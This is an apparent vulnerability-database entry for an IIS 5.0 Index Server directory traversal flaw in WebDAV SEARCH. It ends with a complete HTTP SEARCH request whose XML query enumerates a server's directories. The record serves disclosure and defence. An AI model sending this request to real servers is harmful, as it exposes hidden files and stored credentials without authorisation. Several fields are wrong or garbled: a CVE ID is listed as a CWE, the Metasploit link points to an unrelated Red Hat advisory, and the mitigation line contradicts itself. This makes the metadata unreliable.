Index Server Directory Traversal Vulnerability in Microsoft IIS 5.0

vendor:

IIS 5.0

by:

SecurityFocus

7.5

CVSS

HIGH

Directory Traversal

CWE

Product Name: IIS 5.0

Affected Version From: IIS 5.0

Affected Version To: IIS 5.0

Patch Exists: YES

Related CWE: CVE-2002-0059

CPE: a:microsoft:iis:5.0

Metasploit: https://www.rapid7.com/db/vulnerabilities/linuxrpm-RHSA-2003-168/

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows

2002

Index Server Directory Traversal Vulnerability in Microsoft IIS 5.0

If Index Server is enabled in Microsoft Internet Information Server 5.0, it is possible for a remote user to view the entire root directory structure and all sub-directories due to a flaw in the Web Distributed Authoring and Versioning (WebDAV) search implementation. Hidden directories, include files (*.inc), or other documents that would not normally be accessible through the regular website interface can be exposed through this exploit. Successful exploitation could lead to the discovery of certain files that may contain sensitive information such as usernames and passwords.

Mitigation:

Disable Index Server in IIS 5.0 and only directories that have the 'Index' property set should be affected by this vulnerability.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/1756/info

If Index Server is enabled in Microsoft Internet Information Server 5.0, it is possible for a remote user to view the entire root directory structure and all sub-directories due to a flaw in the Web Distributed Authoring and Versioning (WebDAV) search implementation. Hidden directories, include files (*.inc), or other documents that would not normally be accessible through the regular website interface can be exposed through this exploit.

Successful exploitation could lead to the discovery of certain files that may contain sensitive information such as usernames and passwords.

The Index Server is disabled by default in IIS 5.0 and only directories that have the 'Index' property set are affected by this vulnerability. 

SEARCH / HTTP/1.1
Host: target
Content-Type: text/xml
Content-Length: 133

<?xml version="1.0"?>
<g:searchrequest xmlns:g="DAV:">
<g:sql>
Select "DAV:displayname" from scope()
</g:sql>
</g:searchrequest>